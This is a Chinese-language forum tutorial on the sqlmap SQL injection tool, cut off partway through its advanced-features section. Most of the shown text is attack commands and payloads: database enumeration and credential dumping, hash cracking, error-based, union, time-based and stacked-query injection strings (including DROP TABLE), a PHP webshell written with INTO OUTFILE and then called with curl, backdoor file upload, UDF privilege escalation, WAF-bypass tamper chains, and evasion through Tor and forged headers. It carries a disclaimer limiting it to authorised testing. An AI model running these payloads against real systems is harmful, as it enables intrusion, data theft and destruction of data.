[工具使用] sqlmap使用教程详解

99 0
Honkers 昨天 02:49 | 显示全部楼层 |阅读模式

sqlmap 完整使用教程:从入门到精通

摘要:sqlmap 是渗透测试领域最强大的自动化 SQL 注入工具,支持检测和利用几乎所有的 SQL 注入类型。本文将从安装部署、检测原理、参数详解、实战技巧到防御方案,系统地讲解 sqlmap 的方方面面。全文约 50+ 个常用参数详解、20+ 个实战案例,适合安全从业者和开发人员阅读。

⚠️ 法律声明:本文所有内容仅供网络安全学习、授权渗透测试及 CTF 竞赛使用。未经授权对目标系统进行测试属于违法行为,测试者需自行承担相应法律责任。


目录

  1. sqlmap 是什么
  2. 安装与环境配置
  3. 核心概念:sqlmap 是如何工作的
  4. 基础用法速查
  5. 目标指定方式
  6. 注入检测与指纹识别
  7. 数据库信息枚举
  8. 数据提取
  9. 注入技术详解
  10. 权限提升与系统接管
  11. Tamper 脚本:绕过 WAF 与过滤
  12. 高级特性
  13. 实战案例集
  14. 检测与防御 SQL 注入
  15. 常见问题与排错
  16. 总结与最佳实践

1. sqlmap 是什么

1.1 简介

sqlmap 是一款开源的自动化 SQL 注入检测与利用工具,由 Bernardo Damele 和 Miroslav Stampar 开发,使用 Python 编写。

核心能力:

  1. ┌─────────────────────────────────────────────────┐
  2. │ sqlmap 能力矩阵 │
  3. ├─────────────────────────────────────────────────┤
  4. │ ✅ 自动检测 SQL 注入点 │
  5. │ ✅ 支持 6 种注入技术 │
  6. │ ✅ 支持 30+ 数据库类型 │
  7. │ ✅ 自动识别后端数据库指纹 │
  8. │ ✅ 枚举数据库、表、列、数据 │
  9. │ ✅ 读取/写入文件(条件满足时) │
  10. │ ✅ 执行操作系统命令(条件满足时) │
  11. │ ✅ 自带 50+ tamper 脚本绕过 WAF │
  12. │ ✅ 支持代理、Tor、延迟、混淆等隐蔽手段 │
  13. └─────────────────────────────────────────────────┘
复制代码

1.2 支持的数据类型与注入技术

  1. # 查看完整支持列表
  2. sqlmap --help
复制代码

支持的注入技术(6 种):

技术参数说明
Boolean-based blind(布尔盲注)B通过页面响应差异推断数据
Error-based(报错注入)E利用数据库错误信息提取数据
Union query(联合查询)U使用 UNION SELECT 直接读取
Stacked queries(堆叠查询)S多条 SQL 语句一起执行
Time-based blind(时间盲注)T通过响应时间差异推断数据
Inline query(内联查询)Q在原始查询中嵌入子查询

支持的主流数据库(部分):

  1. MySQL, PostgreSQL, Oracle, Microsoft SQL Server,
  2. SQLite, Microsoft Access, IBM DB2, Firebird,
  3. Sybase, SAP MaxDB, Informix, HSQLDB, H2,
  4. MonetDB, Apache Derby, Amazon Redshift,
  5. Vertica, Mckoi, Presto, Altibase, MimerSQL,
  6. CrateDB, Greenplum, Drizzle, Apache Ignite,
  7. Cubrid, InterSystems Cache, IRIS, eXtremeDB,
  8. FrontBase, Raima Database Manager,
  9. YugabyteDB, Virtuoso, TiDB
复制代码

2. 安装与环境配置

2.1 Kali Linux(预装)

Kali Linux 已预装 sqlmap,开箱即用:

  1. # 确认版本
  2. sqlmap --version
  3. # 更新到最新版
  4. cd /usr/share/sqlmap
  5. git pull
复制代码

2.2 Linux / macOS 手动安装

  1. # 克隆仓库
  2. git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
  3. cd sqlmap
  4. # 直接运行
  5. python sqlmap.py --help
  6. # 或创建软链接
  7. sudo ln -s $(pwd)/sqlmap.py /usr/local/bin/sqlmap
  8. sqlmap --version
复制代码

2.3 Windows 安装

  1. # 方式 1: Git 克隆
  2. git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
  3. cd sqlmap
  4. python sqlmap.py --help
  5. # 方式 2: 下载 ZIP
  6. # 访问 https://github.com/sqlmapproject/sqlmap/releases
  7. # 解压后进入目录执行 python sqlmap.py
复制代码

2.4 Python 依赖检查

  1. # sqlmap 是纯 Python 标准库,无需 pip 安装任何依赖
  2. # 唯一要求:Python >= 2.7 或 Python 3.x
  3. python --version # Python 3.8+ 推荐
  4. # 可选依赖(部分高级特性需要)
  5. pip install pymysql # MySQL 直连
  6. pip install psycopg2 # PostgreSQL 直连
  7. pip install cx_Oracle # Oracle 直连
  8. pip install pyodbc # SQL Server 直连
  9. pip install impacket # Windows 认证
  10. pip install certifi # HTTPS 请求
复制代码

3. 核心概念:sqlmap 是如何工作的

3.1 工作流程

  1. ┌────────────────────────────────────────────────────┐
  2. │ sqlmap 自动化检测流程 │
  3. ├────────────────────────────────────────────────────┤
  4. │ │
  5. │ 1. 发送正常请求 → 记录正常响应(baseline) │
  6. │ ↓ │
  7. │ 2. 在每个参数后追加测试 payload │
  8. │ - 单引号 ' 双引号 " 反斜杠 \ │
  9. │ - 括号组合 ) )) ') ") │
  10. │ ↓ │
  11. │ 3. 分析响应差异 │
  12. │ - 页面内容变化 → Boolean-based blind │
  13. │ - 数据库错误信息 → Error-based │
  14. │ - 响应时间延迟 → Time-based blind │
  15. │ ↓ │
  16. │ 4. 确定注入点 → 指纹识别后端数据库 │
  17. │ ↓ │
  18. │ 5. 枚举数据库结构 → 提取数据 │
  19. │ ↓ │
  20. │ 6. (可选) 权限提升 → 文件操作 → 系统命令执行 │
  21. │ │
  22. └────────────────────────────────────────────────────┘
复制代码

3.2 关键概念表

概念含义
注入点 (Injection Point)URL 中可被注入的参数位置
Payload发送给目标用于触发注入的 SQL 片段
Baseline正常响应,作为判断注入是否成功的基准
指纹 (Fingerprint)通过技术手段识别后端数据库类型和版本
Enumeration逐步获取数据库结构信息的过程
Tamper对 payload 进行编码/混淆以绕过防护的脚本

4. 基础用法速查

4.1 三步快速入门

  1. # 第 1 步:检测注入点
  2. sqlmap -u "http://target.com/page.php?id=1"
  3. # 第 2 步:获取数据库列表
  4. sqlmap -u "http://target.com/page.php?id=1" --dbs
  5. # 第 3 步:导出指定表的数据
  6. sqlmap -u "http://target.com/page.php?id=1" -D dbname -T users --dump
复制代码

4.2 最常用参数速查

  1. # ===== 目标 =====
  2. -u "URL" # 指定 URL
  3. -m urls.txt # 批量 URL 文件
  4. -r request.txt # 从 Burp/浏览器 复制的 HTTP 请求文件
  5. -l burp.log # 解析 Burp Suite 日志
  6. # ===== 检测 =====
  7. --level=1-5 # 检测等级(默认 1,越高越全面)
  8. --risk=1-3 # 风险等级(默认 1,3 可能修改数据)
  9. -p "id,name" # 指定要测试的参数
  10. --skip="password" # 跳过某些参数
  11. --dbms=mysql # 指定数据库类型(跳过指纹识别)
  12. --batch # 非交互模式,全部使用默认选项
  13. # ===== 枚举 =====
  14. --dbs # 列出所有数据库
  15. --tables # 列出当前库的所有表
  16. --columns -T users # 列出 users 表的所有列
  17. -D dbname --tables # 列出指定库的表
  18. -D dbname -T users --dump # 导出 users 表全部数据
  19. # ===== 高级 =====
  20. --os-shell # 获取系统 shell(条件苛刻)
  21. --sql-shell # 获取交互式 SQL shell
  22. --tamper=space2comment # 使用 tamper 脚本绕过 WAF
  23. --proxy="http://127.0.0.1:8080" # 通过代理发送请求
  24. --random-agent # 随机 User-Agent
  25. --delay=3 # 每次请求间隔 3 秒
  26. --threads=10 # 并发线程数
复制代码

5. 目标指定方式

5.1 直接指定 URL

  1. # 最基本用法
  2. sqlmap -u "http://example.com/vuln.php?id=1"
  3. # 带多个参数
  4. sqlmap -u "http://example.com/vuln.php?id=1&cat=2"
  5. # POST 请求(自动检测)
  6. sqlmap -u "http://example.com/login.php" --data="user=admin&pass=123456"
复制代码

5.2 从文件读取 HTTP 请求(推荐方式)

这是最准确的方式——从 Burp Suite 或浏览器开发者工具复制完整的 HTTP 请求:

  1. # 从文本文件读取请求
  2. sqlmap -r request.txt
复制代码

request.txt 示例(从 Burp 复制而来):

  1. POST /api/login HTTP/1.1
  2. Host: target.com
  3. User-Agent: Mozilla/5.0
  4. Content-Type: application/x-www-form-urlencoded
  5. Cookie: PHPSESSID=abc123
  6. X-Forwarded-For: 127.0.0.1
  7. username=admin&password=123456
复制代码
  1. # 指定文件中的哪个参数
  2. sqlmap -r request.txt -p username
  3. # 在指定位置标记注入点(用 * 号)
  4. # 修改 request.txt:
  5. # username=admin*&password=123456
  6. sqlmap -r request.txt # sqlmap 会自动识别 * 标记
复制代码

5.3 批量扫描

  1. # 从 Burp 日志批量扫描
  2. sqlmap -l burp.log --batch
  3. # 从 URL 列表文件批量扫描
  4. sqlmap -m urls.txt --batch
  5. # 使用 Google Dork 自动搜索(需联网和 API Key)
  6. sqlmap -g "inurl:php?id=1 site:example.com"
复制代码

5.4 HTTPS / 认证 / 特殊 Header

  1. # 忽略 SSL 证书错误
  2. sqlmap -u "https://target.com/page.php?id=1" --ignore-ssl
  3. # 添加 Cookie
  4. sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"
  5. # 添加自定义 Header
  6. sqlmap -u "http://target.com/page.php?id=1" \
  7. --headers="X-API-Key: abc123\nX-Forwarded-For: 10.0.0.1"
  8. # HTTP Basic 认证
  9. sqlmap -u "http://target.com/admin.php?id=1" --auth-type=basic \
  10. --auth-cred="admin:password"
  11. # Digest 认证
  12. sqlmap -u "http://target.com/admin.php?id=1" --auth-type=digest \
  13. --auth-cred="admin:password"
复制代码

5.5 选项速查

参数用途
-u "URL"直接指定目标 URL
--data="key=val"POST 请求数据
-r req.txt从文件读取完整 HTTP 请求
-l burp.log从 Burp 日志解析目标
-m urls.txt批量 URL 扫描
-g "dork"Google Dork 自动搜索
--cookie="..."添加 Cookie
--headers="..."添加自定义 Header
--auth-type=basicHTTP 认证类型
--auth-cred="u:p"认证凭据
--proxy="..."使用代理
--ignore-ssl忽略证书错误
--force-ssl强制使用 SSL

6. 注入检测与指纹识别

6.1 检测等级 (–level)

  1. --level=1 # 默认:测试 GET/POST 参数
  2. --level=2 # 增加:测试 Cookie 中的参数
  3. --level=3 # 增加:测试 User-Agent / Referer 中的参数
  4. --level=4 # 增加:测试更多 HTTP Header
  5. --level=5 # 全面:穷举所有可能的位置
复制代码

等级越高 → 检测越全面 → 请求越多 → 越容易被发现

  1. # 实例:测试所有参数(包括 Cookie 和 UA)
  2. sqlmap -u "http://target.com/page.php?id=1" --level=3
  3. # 实例:只测试指定参数
  4. sqlmap -u "http://target.com/page.php?id=1&cat=2" -p id
复制代码

6.2 风险等级 (–risk)

  1. --risk=1 # 默认:使用安全的 payload
  2. --risk=2 # 增加:使用时间盲注(可能较慢)
  3. --risk=3 # 增加:使用 OR 语句(可能修改数据库!)
复制代码

⚠️ --risk=3 可能触发 UPDATE/DELETE 的 OR 条件,绝不在生产环境使用

6.3 检测阶段参数

  1. # ----- 指定数据库类型(跳过指纹识别,加速检测)-----
  2. sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql
  3. sqlmap -u "http://target.com/page.php?id=1" --dbms="MySQL >= 5.6"
  4. # ----- 强制使用某类注入技术 -----
  5. sqlmap -u "..." --technique=B # 只用布尔盲注
  6. sqlmap -u "..." --technique=BEU # 布尔+报错+联合查询
  7. sqlmap -u "..." --technique=T # 只用时间盲注
  8. sqlmap -u "..." --technique=U # 只用联合查询
  9. # ----- 联合查询的列数探测 -----
  10. sqlmap -u "..." --union-cols=5 # 指定 UNION 列数
  11. sqlmap -u "..." --union-cols=1-20 # 在 1 到 20 列之间探测
  12. sqlmap -u "..." --union-char=@ # 指定 UNION 查询使用的占位字符
  13. # ----- 盲注字符串 -----
  14. sqlmap -u "..." --string="Welcome" # 查询成功时页面含有的字符串
  15. sqlmap -u "..." --not-string="Error" # 查询失败时页面含有的字符串
复制代码

6.4 指纹识别

  1. # 基础指纹(默认会自动做)
  2. sqlmap -u "..." -f # 更详细的数据库指纹
  3. sqlmap -u "..." -b # 获取数据库 Banner 信息
  4. sqlmap -u "..." --hostname # 获取数据库服务器主机名
  5. sqlmap -u "..." --current-user # 获取当前数据库用户
  6. sqlmap -u "..." --current-db # 获取当前数据库名
  7. sqlmap -u "..." --users # 枚举所有数据库用户
  8. sqlmap -u "..." --passwords # 枚举数据库用户密码哈希
  9. sqlmap -u "..." --privileges # 枚举当前用户权限
  10. sqlmap -u "..." --roles # 枚举角色
  11. sqlmap -u "..." --dbs # 枚举所有数据库
复制代码
  1. # 综合信息收集(推荐用于初步侦察)
  2. sqlmap -u "http://target.com/page.php?id=1" --banner --current-user --current-db --hostname --is-dba
复制代码

输出示例:

  1. [*] starting @ 14:32:01 /2026-07-08/
  2. [14:32:02] [INFO] testing connection to the target URL
  3. [14:32:03] [INFO] checking if the target is protected by some kind of WAF/IPS
  4. [14:32:04] [INFO] testing if the target URL content is stable
  5. [14:32:05] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
  6. [14:32:06] [INFO] testing for SQL injection on GET parameter 'id'
  7. [14:32:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  8. [14:32:07] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
  9. [14:32:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
  10. [14:32:09] [INFO] GET parameter 'id' is 'MySQL >= 5.5 AND error-based' injectable
  11. [14:32:10] [INFO] testing 'MySQL inline queries'
  12. [14:32:10] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  13. [14:32:11] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
  14. [14:32:12] [INFO] GET parameter 'id' appears to be 'MySQL > 5.0.11 AND time-based blind' injectable
  15. back-end DBMS: MySQL >= 5.5
  16. banner: '5.7.38-0ubuntu0.18.04.1'
  17. current user: 'root@localhost'
  18. current database: 'webapp'
  19. hostname: 'ubuntu-server'
  20. current user is DBA: True
复制代码

7. 数据库信息枚举

7.1 枚举完整层级

  1. # ======= 第一层:数据库列表 =======
  2. sqlmap -u "..." --dbs
  3. # ======= 第二层:指定数据库的表 =======
  4. sqlmap -u "..." -D webapp --tables
  5. # ======= 第三层:指定表的列 =======
  6. sqlmap -u "..." -D webapp -T users --columns
  7. # ======= 第四层:导出数据 =======
  8. sqlmap -u "..." -D webapp -T users --dump
  9. # 导出指定列
  10. sqlmap -u "..." -D webapp -T users -C "username,password,email" --dump
  11. # 只导出前 10 行(测试用)
  12. sqlmap -u "..." -D webapp -T users --dump --start=1 --stop=10
复制代码

7.2 搜索特定内容

  1. # 在所有库中搜索包含 "password" 的列名
  2. sqlmap -u "..." --search -C password
  3. # 在所有库中搜索包含 "admin" 的表名
  4. sqlmap -u "..." --search -T admin
  5. # 在指定库中搜索
  6. sqlmap -u "..." -D webapp --search -C pass,token,key
  7. # 输出格式:
  8. # Database: webapp
  9. # Table: users
  10. # [2 columns]
  11. # +----------+----------+
  12. # | Column | Type |
  13. # +----------+----------+
  14. # | password | varchar |
  15. # | token | varchar |
  16. # +----------+----------+
复制代码

7.3 常用枚举参数汇总

  1. # ---------- 数据库级 ----------
  2. --dbs # 所有数据库
  3. --current-db # 当前数据库
  4. --schema # 完整数据库结构(所有库→表→列)
  5. # ---------- 表级 ----------
  6. --tables # 当前库的所有表
  7. -D dbname --tables # 指定库的表
  8. --exclude-sysdbs # 排除系统数据库
  9. # ---------- 列级 ----------
  10. -D dbname -T users --columns # 指定表的列
  11. -D dbname -T users --count # 行数统计
  12. -D dbname -T users -C col1,col2 --dump
  13. # ---------- 搜索 ----------
  14. --search -T pattern # 搜索表名
  15. --search -C pattern # 搜索列名
  16. --search -D pattern # 搜索数据库名
复制代码

8. 数据提取

8.1 导出数据

  1. # 全部导出
  2. sqlmap -u "..." -D webapp -T users --dump
  3. # 只导出前 100 行
  4. sqlmap -u "..." -D webapp -T users --dump --start=1 --stop=100
  5. # 只导出特定列
  6. sqlmap -u "..." -D webapp -T users -C "id,username,password" --dump
  7. # 按 WHERE 条件过滤(需支持堆叠查询)
  8. sqlmap -u "..." -D webapp -T users --dump \
  9. --where="username LIKE '%admin%'"
  10. # 按 ORDER BY 排序
  11. sqlmap -u "..." -D webapp -T users --dump \
  12. --sql-query="SELECT * FROM users ORDER BY id DESC LIMIT 10"
复制代码

8.2 输出格式

  1. # 输出为 CSV 文件(默认在 ~/.local/share/sqlmap/output/)
  2. sqlmap -u "..." -D webapp -T users --dump
  3. ls ~/.local/share/sqlmap/output/target.com/dump/webapp/
  4. # 指定输出目录
  5. sqlmap -u "..." -D webapp -T users --dump --output-dir=/tmp/sqlmap/
  6. # 输出格式选项
  7. sqlmap -u "..." -T users --dump --csv-del=";" # CSV 分隔符
复制代码

8.3 破解密码哈希

sqlmap 自带密码哈希识别和破解功能:

  1. # dump 时自动识别密码哈希并尝试破解
  2. sqlmap -u "..." -D webapp -T users --dump
  3. # 输出示例:
  4. # Database: webapp
  5. # Table: users
  6. # [3 entries]
  7. # +----+----------+---------------------------------------------+------------------+
  8. # | id | username | password | email |
  9. # +----+----------+---------------------------------------------+------------------+
  10. # | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password)| admin@site.com |
  11. # | 2 | editor | e10adc3949ba59abbe56e057f20f883e (123456) | editor@site.com |
  12. # | 3 | guest | guest | guest@site.com |
  13. # +----+----------+---------------------------------------------+------------------+
  14. # 手动指定要破解的哈希
  15. sqlmap -u "..." -T users -C password --dump --batch
  16. # 使用字典文件破解
  17. sqlmap -u "..." -T users -C password --dump \
  18. --passwords --wordlist=/usr/share/wordlists/rockyou.txt
复制代码

8.4 执行自定义 SQL 查询

  1. # 执行自定义查询
  2. sqlmap -u "..." --sql-query="SELECT @@version, @@datadir"
  3. # 交互式 SQL Shell
  4. sqlmap -u "..." --sql-shell
  5. # sql-shell> SELECT LOAD_FILE('/etc/passwd');
  6. # sql-shell> SELECT * FROM mysql.user;
复制代码

9. 注入技术详解

9.1 Boolean-based Blind(布尔盲注,B)

原理:通过发送不同的条件,观察页面响应的差异来逐位推断数据。

  1. -- 正常条件(页面正常返回)
  2. ?id=1 AND 1=1
  3. -- 错误条件(页面返回不同)
  4. ?id=1 AND 1=2
  5. -- 逐字符推断数据
  6. ?id=1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'
复制代码

适用场景

  • 页面只返回两种状态(有/无内容)
  • 没有错误信息回显
  • 联合查询被禁用
  1. # 强制使用布尔盲注
  2. sqlmap -u "http://target.com/page.php?id=1" --technique=B
  3. # 自定义真假判断字符串
  4. sqlmap -u "..." --technique=B \
  5. --string="Welcome back" \ # 真条件页面包含
  6. --not-string="Not found" # 假条件页面包含
复制代码

9.2 Error-based(报错注入,E)

原理:利用数据库的报错信息提取数据。

  1. -- MySQL 报错注入示例
  2. ?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--+
  3. ?id=1' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version)),1)--+
  4. -- PostgreSQL 报错注入
  5. ?id=1' AND CAST((SELECT current_database()) AS int)--
  6. -- MSSQL 报错注入
  7. ?id=1' AND 1=CONVERT(int,(SELECT @@version))--
复制代码

适用场景

  • 数据库开启了错误回显
  • 是最快的数据提取方式(不需要逐位推断)
  1. # 强制使用报错注入
  2. sqlmap -u "http://target.com/page.php?id=1" --technique=E
复制代码

9.3 Union Query(联合查询,U)

原理:使用 UNION SELECT 将攻击者构造的查询结果拼接到页面输出中。

  1. -- 确定列数
  2. ?id=1 ORDER BY 3--+
  3. -- Union 查询
  4. ?id=-1 UNION SELECT 1,2,database()--+
  5. -- 提取数据
  6. ?id=-1 UNION SELECT 1,username,password FROM users--+
复制代码

适用场景

  • SELECT 查询结果直接显示在页面上
  • 最快的数据提取方式
  1. # 指定列数
  2. sqlmap -u "..." --technique=U --union-cols=5
  3. # 指定 UNION 前后范围
  4. sqlmap -u "..." --technique=U --union-cols=3-10
  5. # 指定 UNION 字符(通常用 NULL 占位)
  6. sqlmap -u "..." --technique=U --union-char=NULL
复制代码

9.4 Time-based Blind(时间盲注,T)

原理:通过延时函数判断条件真假。

  1. -- MySQL:条件真则延时 5 秒
  2. ?id=1' AND IF(SUBSTRING(database(),1,1)='w', SLEEP(5), 0)--+
  3. -- PostgreSQL:条件真则延时 5 秒
  4. ?id=1' AND (SELECT CASE WHEN (current_database() LIKE 'w%')
  5. THEN pg_sleep(5) ELSE pg_sleep(0) END)--
  6. -- MSSQL:条件真则延时 5 秒
  7. ?id=1'; IF (SELECT @@version LIKE 'Microsoft%')
  8. WAITFOR DELAY '0:0:5'--
复制代码

适用场景

  • 完全没有回显差异(布尔盲注不可用)
  • 最慢但最可靠
  1. # 强制使用时间盲注
  2. sqlmap -u "http://target.com/page.php?id=1" --technique=T
  3. # 自定义延时时间(秒)
  4. sqlmap -u "..." --technique=T --time-sec=3
复制代码

9.5 Stacked Queries(堆叠查询,S)

原理:利用分号 ; 执行多条 SQL 语句。

  1. -- 在原始查询后追加新语句
  2. ?id=1; INSERT INTO users(username,password) VALUES('hacker','123456')--
  3. ?id=1; DROP TABLE users--+ -- 极度危险!
  4. ?id=1; SELECT LOAD_FILE('/etc/passwd')--+
复制代码

关键条件:数据库支持多语句执行(如 PHP + MySQL 的 mysqli_multi_query())

  1. sqlmap -u "http://target.com/page.php?id=1" --technique=S
复制代码

9.6 注入技术选择策略

  1. # 综合检测所有技术(默认)
  2. sqlmap -u "..."
  3. # 快速检测:优先用最快的方式
  4. sqlmap -u "..." --technique=BEU
  5. # 稳定检测:只用盲注(适合生产环境侦察)
  6. sqlmap -u "..." --technique=BT
  7. # 深度检测:用所有技术
  8. sqlmap -u "..." --technique=BEUSTQ
复制代码

9.7 注入点后缀与前缀

当自动检测失败时,手动指定注入环境的语法结构:

  1. # 如果参数被括号包裹:WHERE id = (1)
  2. sqlmap -u "..." --suffix=")"
  3. # 如果参数在字符串中:WHERE name = 'admin'
  4. sqlmap -u "..." --prefix="')" --suffix=" AND ('1'='1"
  5. # 综合示例
  6. sqlmap -u "http://target.com/page.php?id=1" --prefix="')" --suffix="--+"
复制代码

10. 权限提升与系统接管

⚠️ 以下操作仅在授权测试环境中使用!在生产环境执行可能造成不可逆损害。

10.1 获取操作系统 Shell

获取操作系统 Shell 需要多项条件同时满足:

  1. # 尝试获取系统 shell
  2. sqlmap -u "..." --os-shell
  3. # 前置条件:
  4. # 1. 数据库用户有 FILE 权限(MySQL)
  5. # 2. 知道 Web 根目录的绝对路径
  6. # 3. Web 目录可写
  7. # 4. 数据库允许写入文件(secure_file_priv 为空或指向 web 目录)
复制代码

获取 OS Shell 的路径(MySQL 为例):

  1. Step 1: 检测权限
  2. SELECT @@secure_file_priv; # 空 = 无限制,有路径 = 只能写该目录
  3. SELECT user, file_priv FROM mysql.user WHERE user=current_user();
  4. Step 2: 写入 webshell(通过 INTO OUTFILE)
  5. SELECT '<?php system($_GET["cmd"]); ?>'
  6. INTO OUTFILE '/var/www/html/shell.php';
  7. Step 3: 通过 webshell 执行命令
  8. curl "http://target.com/shell.php?cmd=whoami"
  9. Step 4: sqlmap 会自动完成步骤 2~3 并给你一个交互式 shell
复制代码
  1. # 指定 Web 根路径
  2. sqlmap -u "..." --os-shell --web-root="/var/www/html"
  3. # 指定要使用的语言
  4. sqlmap -u "..." --os-shell --os-cmd="whoami" --language=PHP
  5. # 如果知道绝对路径,直接指定上传路径
  6. sqlmap -u "..." --file-dest="/var/www/html/upload/cmd.php" --os-shell
复制代码

10.2 文件读写

  1. # ---------- 读取文件 ----------
  2. sqlmap -u "..." --file-read="/etc/passwd"
  3. # 文件会保存到 ~/.local/share/sqlmap/output/target.com/files/
  4. sqlmap -u "..." --file-read="C:\\Windows\\System32\\drivers\\etc\\hosts"
  5. # ---------- 写入文件 ----------
  6. sqlmap -u "..." --file-write="/tmp/local_malware.php" \
  7. --file-dest="/var/www/html/backdoor.php"
复制代码

10.3 权限检测

  1. # 检测当前用户是否为 DBA
  2. sqlmap -u "..." --is-dba
  3. # 枚举所有权限
  4. sqlmap -u "..." --privileges
  5. # MySQL: 检测 FILE 权限(文件读写的关键)
  6. sqlmap -u "..." --privileges -U root
  7. # 输出:
  8. # database management system users privileges:
  9. # [*] 'root'@'localhost' (administrator) [FILE, CREATE, INSERT, ...]
复制代码

10.4 实战:MySQL UDF 提权

  1. # 当 MySQL 以 root 运行且有写入权限时
  2. sqlmap -u "..." --udf-inject
  3. # sqlmap 会自动:
  4. # 1. 检测系统架构和 MySQL 插件目录
  5. # 2. 上传对应的 UDF 动态库(.so / .dll)
  6. # 3. 创建 sys_exec() / sys_eval() 函数
  7. # 4. 通过函数执行系统命令
复制代码

11. Tamper 脚本:绕过 WAF 与过滤

11.1 什么是 Tamper 脚本

Tamper 脚本是 sqlmap 最强大的特性之一——它们对 payload 进行编码和变形,以绕过 WAF(Web Application Firewall)和输入过滤。

  1. # 语法
  2. sqlmap -u "..." --tamper=脚本名
  3. # 多个 tamper 脚本叠加(按顺序执行)
  4. sqlmap -u "..." --tamper=space2comment,randomcase,charencode
  5. # 查看所有可用 tamper 脚本
  6. ls /usr/share/sqlmap/tamper/
  7. sqlmap --list-tampers
复制代码

11.2 常用 Tamper 脚本分类

① 绕过空格过滤
脚本效果示例
space2comment空格 → /**/SELECT/**/1
space2plus空格 → +SELECT+1
space2randomblank空格 → 随机空白字符SELECT%0A1
space2dash空格 → --%0ASELECT--%0A1
space2mysqlblank空格 → MySQL 合法空白符SELECT%0B1
space2mssqlblank空格 → MSSQL 合法空白符SELECT%0E1
② 绕过关键字过滤
脚本效果
randomcase关键字随机大小写:SeLeCt, UnIoN
commentout在关键字中插入注释绕过:SEL/**/ECT
keywordmask关键字部分替换:SELECT → (SELSELECTECT)
③ 编码绕过
脚本效果
charencode字符 URL 编码:1 AND 1 → 1%20%41%4E%44%201
chardoubleencode双重 URL 编码
charunicodeencodeUnicode 编码:SELECT → %u0053%u0045%u004C%u0045%u0043%u0054
hex2char将十六进制字符串转为 CONCAT(CHAR(...))
htmlencodeHTML 实体编码
④ 逻辑等价替换
脚本效果
equaltolike= → LIKE
equaltoregex= → REGEXP
greatest> → GREATEST()
ifnull2ifisnullIFNULL(A,B) → IF(ISNULL(A),B,A)
modsecurityversioned版本注释绕过:1 UNION SELECT → 1/*!UNION/*!SELECT*/
⑤ 高级混淆
脚本效果
apostrophemask单引号 → %EF%BC%87(全角)
apostrophenullencode单引号 → %00%27
base64encodeBase64 编码 payload(需后端有解码函数)
xforwardedfor伪造 X-Forwarded-For 头
between> → BETWEEN

11.3 Tamper 组合策略

  1. # 场景 1: 基础 WAF(如 ModSecurity 默认规则)
  2. --tamper=space2comment,randomcase,charencode
  3. # 场景 2: 严格的关键字过滤
  4. --tamper=space2randomblank,commentout,randomcase,charencode
  5. # 场景 3: 云 WAF(如 Cloudflare、阿里云 WAF)
  6. --tamper=space2comment,randomcase,between,charencode,charunicodeencode \
  7. --random-agent --delay=2
  8. # 场景 4: 强过滤 + 等效函数替换
  9. --tamper=between,equaltolike,greatest,ifnull2ifisnull,symboliclogical \
  10. --no-cast
  11. # 场景 5: 极限绕过(可能影响注入成功率)
  12. --tamper=apostrophemask,apostrophenullencode,base64encode,chardoubleencode,charencode,charunicodeencode,commentout,equaltolike,greatest,ifnull2ifisnull,modsecurityversioned,multiplespaces,percentage,randomcase,space2comment,space2randomblank,versionedmorekeywords
复制代码

11.4 自定义 Tamper 脚本

编写自己的 tamper 脚本非常简单:

  1. #!/usr/bin/env python
  2. # 保存为 /usr/share/sqlmap/tamper/my_tamper.py
  3. """
  4. 自定义 Tamper: 将空格替换为 MySQL 内联注释 /*!12345*/
  5. """
  6. from lib.core.enums import PRIORITY
  7. __priority__ = PRIORITY.NORMAL
  8. def dependencies():
  9. pass
  10. def tamper(payload, **kwargs):
  11. """
  12. 将 payload 中的空格替换为 /*!12345*/
  13. """
  14. if payload:
  15. retVal = payload.replace(" ", "/**/")
  16. return retVal
  17. else:
  18. return payload
  19. # 使用
  20. # sqlmap -u "..." --tamper=my_tamper
复制代码

tamper 脚本的 API:

  1. def tamper(payload, **kwargs):
  2. # payload: 当前要修改的 SQL 注入 payload(字符串)
  3. # kwargs['headers']: HTTP 请求头字典
  4. # kwargs['delimiter']: 当前 payload 的分隔符
  5. return modified_payload # 返回修改后的 payload
复制代码

12. 高级特性

12.1 连接与请求优化

  1. # 持久连接(HTTP Keep-Alive)—— 减少握手开销
  2. sqlmap -u "..." --keep-alive
  3. # 空连接(跳过 HTTP body 传输)—— 读取文件时加速
  4. sqlmap -u "..." --null-connection
  5. # 多线程
  6. sqlmap -u "..." --threads=5 # 默认 1,最大 10
  7. # 限制每次请求的数据量
  8. sqlmap -u "..." --chunked # 分块传输
复制代码

12.2 隐蔽与反检测

  1. # ---------- 请求速率 ----------
  2. --delay=2 # 每次请求间隔 2 秒
  3. --timeout=10 # 请求超时 10 秒
  4. --retries=2 # 失败重试 2 次
  5. # ---------- 身份伪装 ----------
  6. --random-agent # 每次请求随机 User-Agent
  7. --user-agent="Googlebot/2.1" # 自定义 UA
  8. --mobile # 使用手机 UA
  9. --referer="https://google.com" # 伪造 Referer
  10. --headers="X-Forwarded-For: 1.2.3.4" # 伪造 IP
  11. # ---------- 代理 ----------
  12. --proxy="http://127.0.0.1:8080" # HTTP 代理(Burp 抓包)
  13. --proxy="socks5://127.0.0.1:9050" # SOCKS5 代理
  14. --proxy-cred="user:pass" # 代理认证
  15. --ignore-proxy # 忽略系统代理
  16. # ---------- Tor 匿名网络 ----------
  17. --tor # 通过 Tor 网络发送请求
  18. --tor-port=9051 # 自定义 Tor 端口
  19. --tor-type=SOCKS5 # Tor 代理类型
  20. --check-tor # 检查 Tor 是否正常工作
  21. # 使用 Tor 前需要先启动 Tor 服务:
  22. # sudo systemctl start tor
复制代码

12.3 会话与恢复

  1. # 保存当前会话(可随时恢复)
  2. # 会话默认存储在 ~/.local/share/sqlmap/output/ 下
  3. # sqlmap 会自动为每个目标创建独立会话文件
  4. # 列出已保存的会话
